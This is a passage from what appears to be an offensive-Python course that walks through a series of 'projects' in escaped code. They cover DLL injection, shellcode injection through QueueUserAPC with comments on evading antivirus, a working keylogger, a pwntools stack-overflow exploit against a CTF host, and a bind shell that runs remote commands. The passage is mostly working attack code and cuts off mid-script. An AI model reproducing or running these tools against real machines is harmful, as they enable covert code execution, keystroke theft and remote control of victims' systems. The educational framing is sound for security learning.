dwProcessId handle = OpenProcess(PROCESS_ALL_ACCESS, False, pid) if not handle: raise WinError() # handle to the sacrificial process -- notepad print(\u0026#34;Handle obtained =\u0026gt; {0:X}\u0026#34;.format(handle)) print(\u0026#34;-\u0026#34;*80) ## ----- INJECTING THE DLL -- Create Memory in the Remote Process ----- ## # VirtualAllocEx -- similar to VirtualAlloc -- but, we can specify an other # -- process in which to create memory # create remote memory remote_memory = VirtualAllocEx(handle, False, len(dll) +1, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) if not remote_memory: raise WinError() print(\u0026#34;Memory allocated =\u0026gt; \u0026#34;, hex(remote_memory)) print(\u0026#34;-\u0026#34;*80) ## ----- INJECTING THE DLL -- Writing to the allocated remote memory ----- ## # write into that memory location write = WriteProcessMemory(handle, remote_memory, dll, len(dll) + 1, None) if not write: raise WinError() print(\u0026#34;Bytes written =\u0026gt; {}\u0026#34;.format(dll)) # check it out via process hacker \u0026gt; search for \u0026#34;notepad\u0026#34; \u0026gt; go to the address # -- you should see the dll\u0026#39;s location (c:\\users\\...\\hello_world.dll) written # -- into the remote processes memory that we allocated print(\u0026#34;-\u0026#34;*80) ## ----- INJECTING THE DLL -- Loading the DLL ----- ## # start a new thread to load the dll # -- 1st -- we need the location of load library A --\u0026gt; GetProcAddress # -- \u0026amp; GetModuleHandle # load the library address load_lib = GetProcAddress(GetModuleHandle(b\u0026#34;kernel32.dll\u0026#34;), b\u0026#34;LoadLibraryA\u0026#34;) # check the address print(\u0026#34;LoadLibrary address =\u0026gt; \u0026#34;, hex(load_lib)) print(\u0026#34;-\u0026#34;*80) ## ----- INJECTING THE DLL -- START THE REMOTE THREAD ----- ## rthread = CreateRemoteThread(handle, None, 0, load_lib, remote_memory, EXECUTE_IMMEDIATELY, None) # once you run it --\u0026gt; you should see the \u0026#34;hello world!\u0026#34; message box popping up # -- within the notepad process # check the modules loaded by the notepad process with process hacker # process hacker \u0026gt; notepad \u0026gt; modules # NOTE -- you can only load the ddl into the process ONCE using load library # -- if you want to retest a new injection --\u0026gt; # -- you will need to choose a different process id each time you run # -- your script print(\u0026#34;-\u0026#34;*80) ## ----- CLEANING UP AFTER OURSELVES ----- ## # VirtualFreeEx # CloseHandle print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Process Creation and Shellcode Execution Note: Project-1 vs. Project-2\nInstead of injecting a DLL into a remote process, we will directly inject and execute shellcode. Previously, we used an existing process ID to perform the injection. In this project, we will start our own process and inject shellcode directly into it.\nTakeaway\nLearn how to create a process and use different techniques to inject shellcode. CreateRemoteThread is the most common approach to process injection, making it the easiest to identify and detect. QueueUserAPC is a less suspicious alternative if you want to be more stealthy. Demo Example: Project-2\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes import wintypes import subprocess print(\u0026#34;-\u0026#34;*80) ## --------------- DEFINING THE CONSTANTS --------------- ## kernel32 = windll.kernel32 SIZE_T = c_size_t LPSTR = POINTER(c_char) LPBYTE = POINTER(c_ubyte) ## --------------- CONSTANTS FOR WORKING WITH MEMORY --------------- ## # VirtualAllocEx -- flAllocationType MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 # VirtualAllocEx -- flProtect # -- in the demo # PAGE_READWRITE = 0x04 PAGE_READWRITE = wintypes.ULONG(0x04) # CreateRemoteThread -- dwCreationFlags EXECUTE_IMMEDIATELY = 0x0 # OpenProcess -- dwDesiredAccess PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0x00000FFF) ## --------------- DEFINING THE FUNCTIONS -- OLD --------------- ## ## -- Function definitions -- Virtual Alloc Ex -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ memoryapi/nf-memoryapi-virtualallocex\u0026#34;\u0026#34;\u0026#34; VirtualAllocEx = kernel32.VirtualAllocEx VirtualAllocEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.DWORD) VirtualAllocEx.restype = wintypes.LPVOID ## -- Function definitions -- Write Process Memory -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ memoryapi/nf-memoryapi-writeprocessmemory\u0026#34;\u0026#34;\u0026#34; WriteProcessMemory = kernel32.WriteProcessMemory WriteProcessMemory.argtypes = (wintypes.HANDLE, wintypes.LPVOID, wintypes.LPCVOID, SIZE_T, POINTER(SIZE_T)) WriteProcessMemory.restype = wintypes.BOOL # Security Attributes Structure \u0026#34;\u0026#34;\u0026#34;https://learn.microsoft.com/en-us/previous-versions/windows/desktop/ legacy/aa379560(v=vs.85)\u0026#34;\u0026#34;\u0026#34; class _SECURITY_ATTRIBUTES(Structure): _fields_ = [(\u0026#39;nLength\u0026#39;, wintypes.DWORD), (\u0026#39;lpSecurityDescriptor\u0026#39;, wintypes.LPVOID), (\u0026#39;bInheritHandle\u0026#39;, wintypes.BOOL),] SECURITY_ATTRIBUTES = _SECURITY_ATTRIBUTES LPSECURITY_ATTRIBUTES = POINTER(_SECURITY_ATTRIBUTES) LPTHREAD_START_ROUTINE = wintypes.LPVOID# ## --------------- DEFINING THE FUNCTIONS -- NEW --------------- ## ## -- Function definitions -- Virtual Protect Ex -- ## \u0026#34;\u0026#34;\u0026#34;https://learn.microsoft.com/en-us/windows/win32/api/ memoryapi/nf-memoryapi-virtualprotectex\u0026#34;\u0026#34;\u0026#34; VirtualProtectEx = kernel32.VirtualAllocEx VirtualProtectEx.argtypes = (wintypes.HANDLE, wintypes.LPVOID, SIZE_T, wintypes.DWORD, wintypes.LPDWORD) VirtualProtectEx.restype = wintypes.BOOL ## --------------- Utility functions -- debugging --------------- ## # to help with error checking def verify(x): if not x: raise WinError() ## --------------- Create the ShellCode to inject --------------- ## # NOTE -- use the metasploit framework to create a simple \u0026#34;hello world\u0026#34; shellcode # -- create it on kali -- -f:output format -- python # -- `msfvenom -a x64 -p windows/x64/messagebox TITLE=hello TEXT=world -f py` buf = b\u0026#34;\u0026#34; buf += b\u0026#34;\\xfc\\x48\\x81\\xe4\\xf0\\xff\\xff\\xff\\xe8\\xd0\\x00\\x00\u0026#34; buf += b\u0026#34;\\x00\\x41\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\u0026#34; buf += b\u0026#34;\\x48\\x8b\\x52\\x60\\x3e\\x48\\x8b\\x52\\x18\\x3e\\x48\\x8b\u0026#34; buf += b\u0026#34;\\x52\\x20\\x3e\\x48\\x8b\\x72\\x50\\x3e\\x48\\x0f\\xb7\\x4a\u0026#34; buf += b\u0026#34;\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x3c\\x61\\x7c\\x02\u0026#34; buf += b\u0026#34;\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\\xed\\x52\u0026#34; buf += b\u0026#34;\\x41\\x51\\x3e\\x48\\x8b\\x52\\x20\\x3e\\x8b\\x42\\x3c\\x48\u0026#34; buf += b\u0026#34;\\x01\\xd0\\x3e\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\u0026#34; buf += b\u0026#34;\\x74\\x6f\\x48\\x01\\xd0\\x50\\x3e\\x8b\\x48\\x18\\x3e\\x44\u0026#34; buf += b\u0026#34;\\x8b\\x40\\x20\\x49\\x01\\xd0\\xe3\\x5c\\x48\\xff\\xc9\\x3e\u0026#34; buf += b\u0026#34;\\x41\\x8b\\x34\\x88\\x48\\x01\\xd6\\x4d\\x31\\xc9\\x48\\x31\u0026#34; buf += b\u0026#34;\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\x38\\xe0\\x75\u0026#34; buf += b\u0026#34;\\xf1\\x3e\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\\x75\\xd6\u0026#34; buf += b\u0026#34;\\x58\\x3e\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x3e\\x41\u0026#34; buf += b\u0026#34;\\x8b\\x0c\\x48\\x3e\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x3e\u0026#34; buf += b\u0026#34;\\x41\\x8b\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\u0026#34; buf += b\u0026#34;\\x59\\x5a\\x41\\x58\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\u0026#34; buf += b\u0026#34;\\x41\\x52\\xff\\xe0\\x58\\x41\\x59\\x5a\\x3e\\x48\\x8b\\x12\u0026#34; buf += b\u0026#34;\\xe9\\x49\\xff\\xff\\xff\\x5d\\x3e\\x48\\x8d\\x8d\\x1a\\x01\u0026#34; buf += b\u0026#34;\\x00\\x00\\x41\\xba\\x4c\\x77\\x26\\x07\\xff\\xd5\\x49\\xc7\u0026#34; buf += b\u0026#34;\\xc1\\x00\\x00\\x00\\x00\\x3e\\x48\\x8d\\x95\\x0e\\x01\\x00\u0026#34; buf += b\u0026#34;\\x00\\x3e\\x4c\\x8d\\x85\\x14\\x01\\x00\\x00\\x48\\x31\\xc9\u0026#34; buf += b\u0026#34;\\x41\\xba\\x45\\x83\\x56\\x07\\xff\\xd5\\x48\\x31\\xc9\\x41\u0026#34; buf += b\u0026#34;\\xba\\xf0\\xb5\\xa2\\x56\\xff\\xd5\\x77\\x6f\\x72\\x6c\\x64\u0026#34; buf += b\u0026#34;\\x00\\x68\\x65\\x6c\\x6c\\x6f\\x00\\x75\\x73\\x65\\x72\\x33\u0026#34; buf += b\u0026#34;\\x32\\x2e\\x64\\x6c\\x6c\\x00\u0026#34; ## --------------- CREATING OUR OWN PROCESS --------------- ## # NOTE -- if using the SubProcess module -- to create a process and the process id # -- but can be limiting: starting the process hidden or controlling which dlls are # -- attached to the process -- it can become more difficult # process = subprocess.Popen([\u0026#34;notepad.exe\u0026#34;]) # print(\u0026#34;Starting process with PID =\u0026gt; {}\u0026#34;.format(process.pid)) # NOTE -- Use Create Process instead ## -- Function definitions -- Create Process A -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ processthreadsapi/nf-processthreadsapi-createprocessa\u0026#34;\u0026#34;\u0026#34; # Defining new Structures -- lpStartupInfo; lpProcessInformation # convert them to python # STARTUPINFOA class STARTUPINFO(Structure): _fields_ = [(\u0026#34;cb\u0026#34;, wintypes.DWORD), (\u0026#34;lpReserved\u0026#34;, wintypes.LPSTR), (\u0026#34;lpDesktop\u0026#34;, wintypes.LPSTR), (\u0026#34;lpTitle\u0026#34;, wintypes.LPSTR), (\u0026#34;dwX\u0026#34;, wintypes.DWORD), (\u0026#34;dwY\u0026#34;, wintypes.DWORD), (\u0026#34;dwXSize\u0026#34;, wintypes.DWORD), (\u0026#34;dwYSize\u0026#34;, wintypes.DWORD), (\u0026#34;dwXCountChars\u0026#34;, wintypes.DWORD), (\u0026#34;dwYCountChars\u0026#34;, wintypes.DWORD), (\u0026#34;dwFillAttribute\u0026#34;, wintypes.DWORD), (\u0026#34;dwFlags\u0026#34;, wintypes.DWORD), (\u0026#34;wShowWindow\u0026#34;, wintypes.WORD), (\u0026#34;cbReserved2\u0026#34;, wintypes.WORD), (\u0026#34;lpReserved2\u0026#34;, LPBYTE), (\u0026#34;hStdInput\u0026#34;, wintypes.HANDLE), (\u0026#34;hStdOutput\u0026#34;, wintypes.HANDLE), (\u0026#34;hStdError\u0026#34;, wintypes.HANDLE),] # PROCESS_INFORMATION class PROCESS_INFORMATION(Structure): _fields_ = [(\u0026#34;hProcess\u0026#34;, wintypes.HANDLE), (\u0026#34;hThread\u0026#34;, wintypes.HANDLE), (\u0026#34;dwProcessId\u0026#34;, wintypes.DWORD), (\u0026#34;dwThreadId\u0026#34;, wintypes.DWORD)] CreateProcessA = kernel32.CreateProcessA CreateProcessA.argtypes = (wintypes.LPCSTR, wintypes.LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, wintypes.BOOL, wintypes.DWORD, wintypes.LPVOID, wintypes.LPCSTR, POINTER(STARTUPINFO), POINTER(PROCESS_INFORMATION)) CreateProcessA.restype = wintypes.BOOL # preparing variables startup_info = STARTUPINFO() startup_info.cb = sizeof(startup_info) startup_info.dwFlags = 1 # SW_SHOWNORMAL -- if you want to be more malicious --\u0026gt; SW_HIDE -- 0 startup_info.wShowWindow = 1 process_info = PROCESS_INFORMATION() # process creation flags \u0026#34;\u0026#34;\u0026#34;https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags\u0026#34;\u0026#34;\u0026#34; CREATE_NEW_CONSOLE = 0x00000010 CREATE_NO_WINDOW = 0x08000000 CREATE_SUSPENDED = 0x00000004 # create our own process which we can inject # -- pop up the window # created = CreateProcessA(b\u0026#34;C:\\\\Windows\\\\System32\\\\notepad.exe\u0026#34;, None, None, None, False, CREATE_NEW_CONSOLE, None, None, byref(startup_info), byref(process_info)) # -- suspend and no window created = CreateProcessA(b\u0026#34;C:\\\\Windows\\\\System32\\\\notepad.exe\u0026#34;, None, None, None, False, CREATE_SUSPENDED | CREATE_NO_WINDOW, None, None, byref(startup_info), byref(process_info)) verify(created) pid = process_info.dwProcessId h_process = process_info.hProcess thread_id = process_info.dwThreadId h_thread = process_info.hThread print(\u0026#34;Started process =\u0026gt; Handle:{}, PID:{}, TID:{}\u0026#34;.format(h_process, pid, thread_id)) ## --------------- ALLOCATING THE MEMORY IN THE REMOTE PROCESS --------------- ## # NOTE -- rather than creating suspicious read-write-execute memory (like before) # -- instead create ONLY read-write memory # -- we will need to change the memory protections later to execute code from # -- within this memory # throws an error -\u0026gt; ctypes.ArgumentError -- TypeError -- remote_memory = VirtualAllocEx(h_process, False, len(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) # check for errors verify(remote_memory) print(\u0026#34;Memory allocated =\u0026gt; \u0026#34;, hex(remote_memory)) # write the shellcode into the remote process write = WriteProcessMemory(h_process, remote_memory, buf, len(buf), None) verify(write) print(\u0026#34;Bytes written =\u0026gt; {}\u0026#34;.format(len(buf))) # check with process hacker -- search for notepad \u0026gt; memory regions # -- \u0026gt; shellcode should be written to the allocated memory # NOTE -- the memory is currently only RW --\u0026gt; we can\u0026#39;t execute it # -- use VirtualProtectEx to change it to RX (read-execute) # REASON -- RWX memory can be an indicator of compromise for AV products PAGE_EXECUTE_READ = 0x20 old_protection = wintypes.DWORD(0) protect = VirtualProtectEx(h_process, remote_memory, len(buf), PAGE_EXECUTE_READ, byref(old_protection)) verify(protect) print(\u0026#34;Memory protection updated from {} to {}\u0026#34;.format(old_protection.value, PAGE_EXECUTE_READ)) # make sure in process hacker, that the memory region was trully updated ## --------------- PERFORMING THE EXECUTION --------------- ## # COMMENT -- because of rqueue # # perform the actual execution # rthread = CreateRemoteThread(h_process, None, 0, remote_memory, None, EXECUTE_IMMEDIATELY, None) # verify(rthread) # # hello world pop up --\u0026gt; coming from the started process # an application-defined completion routine -- defines a pointer to the callback function PAPCFUNC = CFUNCTYPE(None, POINTER(wintypes.ULONG)) # NOTE -- to perform the same code execution output we did with createremotethread -- but # -- it is a less suspicious function call QueueUserAPC = kernel32.QueueUserAPC QueueUserAPC.argtypes = (PAPCFUNC, wintypes.HANDLE, POINTER(wintypes.ULONG)) QueueUserAPC.restype = wintypes.BOOL # NOTE -- to continue our suspended thread ResumeThread = kernel32.ResumeThread ResumeThread.argtypes = (wintypes.HANDLE, ) ResumeThread.restype = wintypes.BOOL # NOTE -- queue our procedure # -- the function/procedure we want to execute is just the location in memory # -- where our shellcode sits rqueue = QueueUserAPC(PAPCFUNC(remote_memory), h_thread, None) verify(rqueue) print(\u0026#34;Queuing APC thread =\u0026gt; {}\u0026#34;.format(h_thread)) # no code execution -- thread is still suspended # NOTE -- resume and change the thread state to be running # -- once it is resumed -\u0026gt; execute the procedure call which is our shell code # -- and then terminate itself # DEMO -- kill all the notepad processes rthread = ResumeThread(h_thread) verify(rthread) print(\u0026#34;Resuming thread!\u0026#34;) print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Keylogging a System Implement a local keylogger using Win32 API functions to set up a keyboard hook.\nUse a Windows hook to intercept read and process keyboard input events \u0026ndash; essentially creating a keylogger.\nDemo Example: Project-3\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom ctypes import * from ctypes import wintypes print(\u0026#34;-\u0026#34;*80) ## --------------- VARIABLES AND CONSTANTS --------------- ## user32 = windll.user32 LRESULT = c_long # specify the type of hook to be used -- SetWindowHookExA -- idHook WH_KEYBOARD_LL = 13 # key codes -- to interpret the data WM_KEYDOWN = 0x0100 WM_RETURN = 0x0D WM_SHIFT = 0x10 ## --------------- FUNCTION DEFINITIONS FOR API CALLS --------------- ## ## -- Functions -- GetWindowTextLenghtA -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getwindowtextlengtha\u0026#34;\u0026#34;\u0026#34; GetWindowTextLengthA = user32.GetWindowTextLengthA GetWindowTextLengthA.argtypes = (wintypes.HANDLE, ) GetWindowTextLengthA.restype = wintypes.INT ## -- Functions -- GetWindowTextA -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getwindowtexta\u0026#34;\u0026#34;\u0026#34; GetWindowTextA = user32.GetWindowTextA GetWindowTextA.argtypes = (wintypes.HANDLE, wintypes.LPSTR, wintypes.INT) GetWindowTextA.restype = wintypes.INT ## -- Functions -- GetKeyState -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getkeystate\u0026#34;\u0026#34;\u0026#34; GetKeyState = user32.GetKeyState GetKeyState.argtypes = (wintypes.INT, ) GetKeyState.restype = wintypes.SHORT ## -- Functions -- GetKeyboardState -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getkeyboardstate\u0026#34;\u0026#34;\u0026#34; # The 256-byte array that receives the status data for each virtual key. keyboard_state = wintypes.BYTE * 256 GetKeyboardState = user32.GetKeyboardState GetKeyboardState.argtypes = (POINTER(keyboard_state), ) GetKeyboardState.restype = wintypes.BOOL ## -- Functions -- ToAscii -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-toascii\u0026#34;\u0026#34;\u0026#34; ToAscii = user32.ToAscii ToAscii.argtypes = (wintypes.UINT, wintypes.UINT, POINTER(keyboard_state), wintypes.LPWORD, wintypes.UINT) ToAscii.restype = wintypes.INT ## -- Functions -- CallNextHookEx -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-callnexthookex\u0026#34;\u0026#34;\u0026#34; CallNextHookEx = user32.CallNextHookEx CallNextHookEx.argtypes = (wintypes.HHOOK, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM) CallNextHookEx.restype = LRESULT ## -- Functions -- SetWindowsHookExA -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-setwindowshookexa\u0026#34;\u0026#34;\u0026#34; # HOOKPROC callback function \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nc-winuser-hookproc\u0026#34;\u0026#34;\u0026#34; HOOKPROC = CFUNCTYPE(LRESULT, wintypes.INT, wintypes.WPARAM, wintypes.LPARAM) SetWindowsHookExA = user32.SetWindowsHookExA SetWindowsHookExA.argtypes = (wintypes.INT, HOOKPROC, wintypes.HINSTANCE, wintypes.DWORD) SetWindowsHookExA.restype = wintypes.HHOOK ## -- Functions -- GetMessage -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getmessage\u0026#34;\u0026#34;\u0026#34; GetMessageA = user32.GetMessageA GetMessageA.argtypes = (wintypes.LPMSG, wintypes.HWND, wintypes.UINT, wintypes.UINT) GetMessageA.restype = wintypes.BOOL ## --------------- STRUCTURES --------------- ## ## -- Structure -- KBDLLHOOKSTRUCT -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/ns-winuser-kbdllhookstruct\u0026#34;\u0026#34;\u0026#34; # Contains information about a low-level keyboard input event. # NOTE -- we will populate this structure as part of our hook # -- and we can then use the data in the structure to identify which key has # -- been pressed by the user class KBDLLHOOKSTRUC(Structure): _fields_ = [(\u0026#34;vkCode\u0026#34;, wintypes.DWORD), (\u0026#34;scanCode\u0026#34;, wintypes.DWORD), (\u0026#34;flags\u0026#34;, wintypes.DWORD), (\u0026#34;time\u0026#34;, wintypes.DWORD), (\u0026#34;dwExtraInfo\u0026#34;, wintypes.DWORD)] ## --------------- Identifying the user\u0026#39;s current process --------------- ## # NOTE -- when performing keylogging, it is useful to know the process # -- the user is typing in --\u0026gt; use the win32 api to get information about # -- this foreground process # NOTE -- forground window -- just the window with which the user is # -- currently working ## -- Functions -- GetForegroundWindow -- ## \u0026#34;\u0026#34;\u0026#34;url:https://learn.microsoft.com/en-us/windows/win32/api/ winuser/nf-winuser-getforegroundwindow\u0026#34;\u0026#34;\u0026#34; def get_foreground_process(): hwnd = user32.GetForegroundWindow() # to retrieve the length, in characters, of the specified window\u0026#39;s title bar text # REASON -- we want to know which process (based on it\u0026#39;s text) the user # -- is currently writing in length = GetWindowTextLengthA(hwnd) # copy the text of the specified window\u0026#39;s title bar into a buffer buff = create_string_buffer(length + 1) GetWindowTextA(hwnd, buff, length + 1) # the value that has been written into the buffer return buff.value # # Test it out -- we receive information about the foreground process we are # # -- currently working in -- \u0026#34;b\u0026#39;C:\\\\Windows\\\\system32\\\\cmd.exe - python project3.py\u0026#39;\u0026#34; # print(get_foreground_process()) ## --------------- SETTING UP THE HOOK --------------- ## # NOTE -- set up the hook to start the keylogger # hook procedure -- to actually hook and handle keyboard events def hook_function(nCode, wParam, lParam): global last # update if not the last if last != get_foreground_process(): last = get_foreground_process() print(\u0026#34;\\n[{}]\u0026#34;.format(last.decode(\u0026#34;latin-1 \u0026#34;))) # THE KEYLOGGER HANDLER # passed value is the keyboard downcode # checking whether a key has been pressed --\u0026gt; if has been, take the value and # -- store in the hookstruct if wParam == WM_KEYDOWN: keyboard = KBDLLHOOKSTRUC.from_address(lParam) # create a state variable to actually hold the state to all of the # -- 256 potential virtual keys state = (wintypes.BYTE * 256)() # check whether shift was pressed GetKeyState(WM_SHIFT) # copy the status fo the 256 virtual keys GetKeyboardState(byref(state)) # single buffer to hold the single char buf = (c_ushort * 1)() # check which key the user actually pressed # ToAscii -- translate the specified virtual-key code and keyboard state to the # -- corresponding character/s n = ToAscii(keyboard.vkCode, keyboard.scanCode, state, buf, 0) # 0:no translation; 1: one char -- 2: two chars if n \u0026gt; 0: # enter pressed if keyboard.vkCode == WM_RETURN: print() else: # returns the c-string starting at the memory address as a bytes object print(\u0026#34;{}\u0026#34;.format(string_at(buf).decode(\u0026#34;latin-1\u0026#34;)), end=\u0026#34;\u0026#34;, flush=True) # pass the hook information to the next hook procedure in the current hook chain return CallNextHookEx(hook, nCode, wParam, lParam) # global var -- to keep track of the last foreground process we saw last = None # lpfn -- pointer to the hook procedure callback = HOOKPROC(hook_function) # create the hook # -- idHook -- the type of hook procedure to be installed # -- lpfn -- pointer to the hook procedure # -- hmod -- we do NOT have a DLL here --\u0026gt; NULL # -- dwThreadId -- do NOT have an identifier --\u0026gt; 0 hook = SetWindowsHookExA(WH_KEYBOARD_LL, callback, 0, 0) # retrieve a message from the calling thread\u0026#39;s message queue GetMessageA(byref(wintypes.MSG()), 0, 0, 0) # DEMO -- once run -- everything we type into sublime is captured # -- and displayed on the cmd -- even letters typed with shift # -- Even when we change the process to notepad -- it will automatically switch # -- over and capture text from there # -- The same will happen if we search for something in firefox print(\u0026#34;-\u0026#34;*80) ## --------------- END --------------- ## Buffer Overflow Use Kali and retrieve the demo challenge binary from 247ctf.com:\n247ctf.com/dashboard \u0026gt; PWNABLE \u0026gt; AN EXECUTABLE STACK Challenge\nA classic overflow with an executable stack.\nPreparing the Challenge\nunzip \u0026lt;challenge\u0026gt;.zip chmox +x executable_stack Demo Example: Project-4\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nfrom pwn import * import sys # CHALLENGE -- a classic overflow with and executable stack # SOLUTION -- overwrite the instruction pointer and then return # -- to the stack in esp, which is where the shellcode is stored # -- because it\u0026#39;s the next item on the stack print(\u0026#34;-\u0026#34;*80) ## --------------- SETTING UP THE CONTEXT --------------- ## # check it with -- `file executable_stack` -- 32bit binary context.update(arch=\u0026#39;i386\u0026#39;, os=\u0026#39;linux\u0026#39;) # specify the process io = process(\u0026#34;./executable_stack\u0026#34;) ## --------------- STEP 1 -- FINDING THE OFFSET --------------- ## # NOTE -- use a cyclic, debro*n pattern to find our offsets \u0026#34;\u0026#34;\u0026#34; # use gdb to verify it gdb.attach(io, \u0026#39;continue\u0026#39;) # create the cyclic pattern pattern = cyclic(512) # send it to the binary io.sendline(pattern) # pause execution pause() sys.exit() \u0026#34;\u0026#34;\u0026#34; ## CHECK which value landed in the eip # once run -- gdb will start -- to check segmentation fault -- `i r` # copy the value for the eip ## DETERMINE the offset # launch pyhton in interactive mode # use `from pwn import *` # use `cyclic_find(\u0026lt;hex-value-from-eip\u0026gt;)` to find the offset # copy the offset -- in demo:140 ## --------------- STEP 2 -- IDENTIFY how to jump to ESP --------------- ## # once the offset is identified -- identify how to jump to esp # -- which is the location where our shellcode will be in memory # OVERVIEW -- load the binary as an elf and search for a jump esp instruction bin = ELF(\u0026#34;./executable_stack\u0026#34;) jmp_esp = next(binary.search(asm(\u0026#34;jmp esp\u0026#34;))) # verify instruction is found print(hex(jmp_esp)) ## --------------- STEP 3 -- EXPLOITATION --------------- ## exploit = flat([\u0026#34;A\u0026#34; * 140, pack(jmp_esp), asm(shellcraft.sh())]) # exploit locally io.sendline(exploit) io.interactive() # NOTE -- once run -- use `id` to verify ## VERIFYING IT ON THE SERVER # from the example io = remote(\u0026#34;54971bfe93412fba.247ctf.com\u0026#34;, 50468) # check for flags on the remote host -- `ls` print(\u0026#34;-\u0026#34;*80) ## -------------------- END -------------------- ## Encrypted Bind Shell Bind Shell\nA bind shell is a socket that allows us to connect to a system over a network to execute commands.\nDemo Example: Project-5 - Unencrypted Version\nFeel free to experiment by commenting and uncommenting sections as you see fit.\nimport socket, subprocess, threading, argparse print(\u0026#34;-\u0026#34;*80) ## --------------- CONSTANTS AND VARIABLES --------------- ## DEFAULT_PORT = 1234 # max buffer size for the socket MAX_BUFFER = 4096 ## --------------- UTILITIES --------------- ## # execute a command def execute_cmd(cmd): try: output = subprocess.check_output(\u0026#34;cmd /c {}\u0026#34;.format(cmd), stderr=subprocess.STDOUT) except: output = b\u0026#34;Command failed!\u0026#34; return output # test it -- works # print(execute_cmd(\u0026#34;whoami\u0026#34;)) # test it -- fails # print(execute_cmd(\u0026#34;whoaaasdmi\u0026#34;)) # decoding and stripping data def decode_and_strip(s): return s.decode(\u0026#34;latin-1\u0026#34;).strip() ## ----- THREAD CAPABLE FUNCTIONS -- Executing commands ----- ## # NOTE -- the thread that will handle new user connections # -- threading, because we want to be able to have more than one user connect # -- to the bind shell and use it # s:socket as a parameter def shell_thread(s): # when first connected -- tell the user s.send(b\u0026#34;[ -- Connected! --]\u0026#34;) try: # infinite loop -- waiting for command from the user while True: s.send(b\u0026#34;\\r\\nEnter Command\u0026gt; \u0026#34;) # receive data up to the maximum buffer size data = s.recv(MAX_BUFFER) if data: buffer = decode_and_strip(data) # nothing has been sent | exit if not buffer or buffer == \u0026#34;exit\u0026#34;: # close the socket s.close() exit() print(\u0026#34;\u0026gt; Executing command: \u0026#39;{}\u0026#39;\u0026#34;.format(buffer)) # send through the socket # execute the command and send the result back to the user # -- over the socket s.send(execute_cmd(buffer)) except: # if error occurs -- close the socket s.close() exit() ## ----- THREAD CAPABLE FUNCTIONS -- Sending data ----- ## # NOTE -- needed functionalities -- dual functionality # -- to listen and accept connection AND to initiate connections # -- basically, we need to be able to run our script in both server and client # -- modes -- depending on how we start the script # s:socket def send_thread(s): try: while True: # accept data from the user on the cmd line data = input() + \u0026#34;\\n\u0026#34; # send that data over the socket s.send(data.encode(\u0026#34;latin-1\u0026#34;)) except: # do it till some error occurs s.close() exit() ## ----- THREAD CAPABLE FUNCTIONS -- Receiving data ----- ## # s:socket def recv_thread(s): try: while True: data = decode_and_strip(s.recv(MAX_BUFFER)) if data: print(\u0026#34;\\n\u0026#34; + data, end=\u0026#34;\u0026#34;, flush=True) except: s.close() exit() ## --------------- SERVER FUNCTIONS --------------- ## # IDEA -- when the server receives a connection, it will give the user # -- the ability to execute commands as if they have just opened # -- a cmd.exe terminal on their machine def server(): # setting up the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # bind to our default port s.bind((\u0026#34;0.0.0.0\u0026#34;, DEFAULT_PORT)) # listen for connections s.listen() print(\u0026#34;[ -- Starting bind shell! -- ]\u0026#34;) # wait for our connections to come in while True: client_socket, addr = s.accept() print(\u0026#34;[ -- New user connected! -- ]\u0026#34;) # when new connection --\u0026gt; start a new thread # -- pass the client socket as an argument threading.Thread(target=shell_thread, args=(client_socket,)).start() ## --------------- CLIENT FUNCTIONS --------------- ## # ip:ip address to connect to def client(ip): # create the socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to that host on the default port s.connect((ip, DEFAULT_PORT)) print(\u0026#34;[ -- Connecting to bind shell! -- ]\u0026#34;) # already connected --\u0026gt; start up both the send and the receive threads # -- so that we 